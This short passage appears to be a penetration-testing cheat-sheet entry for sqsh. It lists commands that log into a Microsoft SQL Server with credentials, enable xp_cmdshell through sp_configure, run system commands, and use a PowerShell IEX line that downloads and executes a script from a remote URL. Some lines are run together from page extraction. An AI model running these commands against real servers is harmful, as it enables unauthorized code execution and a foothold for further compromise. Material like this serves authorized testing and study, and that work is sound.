SQSH
Basic commands
sqsh -S <ip> -U <user> -P <pw>xp_cmdshell 'whoami'
goxp_cmdshell 'whoami / priv'
goxp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadString('<url>')"
goEXEC SP_CONFIGURE 'advanced_options', 1
reconfigure
EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
goLast updated